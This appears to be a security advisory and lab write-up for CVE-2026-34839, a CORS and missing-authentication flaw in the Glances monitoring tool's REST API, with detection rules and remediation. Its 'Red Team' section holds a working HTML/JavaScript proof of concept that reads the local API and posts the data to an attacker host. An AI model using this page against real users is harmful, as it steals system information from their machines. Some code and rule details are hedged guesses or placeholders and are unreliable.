CVE-2026-34839

Executive Summary

CVE-2026-34839 is a critical information disclosure vulnerability in Glances, an open-source cross-platform system monitoring tool. Prior to version 4.5.4, the Glances web server exposes a REST API (/api/4/*) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (Access-Control-Allow-Origin: *). This enables a malicious website to read sensitive system information from a running Glances instance in the victim’s browser, leading to cross-origin data exfiltration. The vulnerability is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and has a CVSS score of 7.5 (High). The patch is available in version 4.5.4.

Supply Chain & Package Security

Glances is a Python package available on PyPI. The vulnerability affects all versions prior to 4.5.4. Users should update to the latest patched version immediately. The package is widely used for system monitoring and can be installed via pip install glances. The fix is included in the official PyPI release.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - victim must visit a malicious website
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is high due to the ease of exploitation and the sensitivity of the data exposed (system metrics, processes, network connections, etc.).

Deep Dive & Mechanics

The Glances web server, by default, listens on port 61209 and exposes a REST API at /api/4/*. This API returns JSON data containing detailed system information, including:

• CPU usage, memory usage, disk I/O
• Running processes with command lines and user IDs
• Network connections and bandwidth
• System load and uptime
• Sensors (temperature, fan speed)

The vulnerability arises from two key issues:

1. No Authentication: The API endpoints do not require any authentication or authorization.
2. Permissive CORS Policy: The server responds with Access-Control-Allow-Origin: *, allowing any website to make cross-origin requests.

An attacker can host a malicious webpage that uses JavaScript (e.g., fetch or XMLHttpRequest) to query the victim's local Glances API. Since the victim's browser allows cross-origin requests to the Glances server (due to the permissive CORS policy), the attacker can read the response and exfiltrate the data to their own server.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.5.4): The Glances web server likely uses a library like bottle or flask and sets CORS headers globally without restriction. Example vulnerable configuration:

# Vulnerable: allows all origins
response.headers['Access-Control-Allow-Origin'] = '*'

Patched Code (4.5.4): The fix restricts CORS to specific origins or removes the wildcard. Additionally, authentication is enforced for API endpoints. Example patched configuration:

# Patched: restrict to same origin or specific trusted origins
response.headers['Access-Control-Allow-Origin'] = 'https://trusted-site.com'
# Or remove CORS entirely for API endpoints

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable Glances version: pip install glances==4.5.3
2. Start Glances web server: glances -w
3. Create a malicious HTML file (exploit.html):

<!DOCTYPE html>
<html>
<head><title>Exploit</title></head>
<body>
<script>
fetch('http://127.0.0.1:61209/api/4/all')
  .then(response => response.json())
  .then(data => {
    // Exfiltrate data to attacker server
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>

4. Host the malicious page on a web server (e.g., python -m http.server 8080).
5. Victim visits http://attacker.com:8080/exploit.html while Glances is running locally.

Expected Outcome: The attacker receives the system data.

Blue Team

Detection:

• Monitor for outbound connections from browsers to localhost on port 61209.
• Look for unusual JavaScript making fetch or XMLHttpRequest calls to 127.0.0.1:61209.
• Check for unexpected CORS headers in network traffic.

Prevention:

• Update Glances to version 4.5.4 or later.
• Use network segmentation to isolate monitoring tools.
• Implement browser security policies (e.g., Content Security Policy) to block mixed content.

Indicators of Compromise (IOCs)

• Network: HTTP requests to 127.0.0.1:61209/api/4/* from a browser context.
• Logs: Glances access logs showing requests from Origin: http://attacker.com.
• Process: Browser process making connections to localhost on port 61209.
• File: Presence of malicious HTML/JS files that reference 127.0.0.1:61209.

Detection Engineering

YARA Rule

rule Detect_Glances_CORS_Exploit {
    meta:
        description = "Detects JavaScript attempting to exploit Glances CORS vulnerability"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34839"
    strings:
        $s1 = "127.0.0.1:61209" nocase
        $s2 = "api/4" nocase
        $s3 = "fetch(" nocase
        $s4 = "XMLHttpRequest" nocase
    condition:
        any of ($s1,$s2) and any of ($s3,$s4)
}

Sigma Rule

title: Glances CORS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34839 by accessing Glances API from a browser
author: Valters IT
date: 2026-01-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationIp: '127.0.0.1'
        DestinationPort: 61209
        InitiatedBy: 'browser.exe'
    condition: selection
falsepositives:
    - Legitimate local monitoring tools
level: high

Suricata Rule

alert http any any -> 127.0.0.1 61209 (msg:"CVE-2026-34839 Glances CORS Exploit"; flow:to_server; content:"/api/4/"; http_uri; content:"Origin:"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Glances to version 4.5.4 or later: pip install --upgrade glances
2. If upgrade is not possible, restrict access to the Glances web server using a firewall (e.g., allow only localhost).
3. Disable the web interface if not needed: glances -w should not be run.

Long-term Measures:

• Implement network segmentation for monitoring tools.
• Use authentication proxies (e.g., nginx with basic auth) in front of Glances.
• Regularly update all software components.
• Monitor for unusual network connections to monitoring endpoints.

Valters IT - DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 744011C809138142CCD6B44A] */}